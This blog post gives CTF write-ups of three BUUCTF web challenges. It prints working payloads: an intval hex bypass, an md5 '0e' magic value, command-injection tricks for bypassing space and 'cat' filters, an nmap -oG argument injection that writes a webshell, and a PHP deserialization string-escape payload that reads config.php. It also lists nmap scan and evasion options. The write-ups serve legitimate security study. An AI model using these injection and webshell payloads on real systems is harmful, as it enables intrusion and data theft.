您当前的位置: 首页 > 

姜小孩.

暂无认证

  • 5浏览

    0关注

    51博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

BUU刷题Day8

姜小孩. 发布时间:2022-03-31 22:31:33 ,浏览量:5

目录

[WUSTCTF2020]朴实无华

总结:

[网鼎杯 2020 朱雀组]Nmap

总结:

[0CTF 2016]piapiapia

总结:

[WUSTCTF2020]朴实无华

好家伙,上来让我黑他,有判头!

robots.txt下面有提示,让我打开

好家伙,buu第二页的题不能就这么出了,应该是套娃!

我就说没这么好心!源代码和控制台啥也找不到,抓包看看头吧

正在上传…重新上传取消

这不就来了!!!!look_at_me~!~~

游戏才刚刚开始!还给我乱码!火狐有解码!


 

审!

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

秉着没见过什么什么就是考点的原则,没见过intval,intval — 获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

所以第一关就完事

?num=0x1234

来到第二层

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧"); 

需要md5后的值和本身的值相等,以前md5套娃做过,翻笔记得到0e215962017

当然可以脚本跑

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                find=[]
                print('find it:',text,":",m)
                find = find.append(text)
        i +=1
    return find
​
t = run()
print(t)

最后一关!

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

ls看到flag就在当前目录

ban了cat和空格

${IFS}、$IFS$9、、、{,}、%20(space)、%09、|等可以代替空格

绕过cat

  • c''at c""at ca$@t

  • tac 从最后一行倒序显示内容,并将所有内容输出

  • more 根据窗口大小,一页一页的现实文件内容

  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

  • head 只显示头几行

  • tail 只显示最后几行

  • nl 类似于cat -n,显示时输出行号

  • tailf 类似于tail -f

  • vi编辑有时候可能回显

  • 使用127.0.0.1|tail (flag文件名)

总结:

复习了一下rce绕过的方法

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

[网鼎杯 2020 朱雀组]Nmap

打开看到页面,好cool!!!猜它是rce!

正在上传…重新上传取消

尝试一下,虽然知道要失败,但是还是要尝试!看到|被\转义了

正在上传…重新上传取消

想起来了前面做的[BUUCTF 2018]Online Tool

那个的payload是

'  -oG fuck.php '

回显hack,应该是被ban了,fuzz一下发现是php

'  -oG fuck.phtml '

咱就是说,咱又不是绕不过去,再加上IP!

127.0.0.1  | '  -oG fuck.phtml '

蚁剑连接!下一题!

总结:

复习一下nmap?

nmap -v 127.0.0.1                           给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt                       运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100    使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101                       启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1                           使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101                      扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101                      扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*                        找出网络中的在线主机
nmap -F 192.168.0.101                       快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4                        使用小数据包发送,避免被识别出
nmap -r 192.168.0.101                       不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101                使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101                      查找主机服务版本号
nmap -PS 192.168.0.101                      使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4                       目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4                       对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101                      执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101                      使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101                      执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip                      使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml            对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4                     设置扫描速度,一般T4足够
nmap –mtu  192.168.96.4               发送的包大小,最大传输单元必须是8的整数
nmap -D  192.168.96.4                  发送参杂着假ip的数据包检测
继续中断扫描:
    nmap –oG 1.txt –v 192.168.1.1/24            -oG将扫描结果保存为TXT,Ctrl+C中断扫描
    Nmap –resume 1.txt                          作用:继续扫描

正在上传…重新上传取消

写🐎yyds!!

[0CTF 2016]piapiapia

经历了小风小浪的洗礼,我终于不是那个见到登录框就疯狂注入注入的傻孩子了!现在的我!先看源代码再看F12然后一边扫描一边注入,扫到了/www.zip可以down源码!

down下来后发现了register.php注册完登陆进去发现了上传点,打开update.php审计一下!





   UPDATE
   
   
   


    
  Please Update Your Profile Phone: Email: Nickname: Photo: UPDATE
 

好多正则匹配,,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。

前面有一个题是反序列化字符逃逸,这个题也是!

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

 public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
​
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

我们再继续追寻下去

filter()

 public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
​
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'

我们再看看profile.php

我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,反序列字符逃逸。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
总结:

复习反序列化!

复习字符串逃逸!

关注
打赏
1652274937
查看更多评论
立即登录/注册

微信扫码登录

0.0460s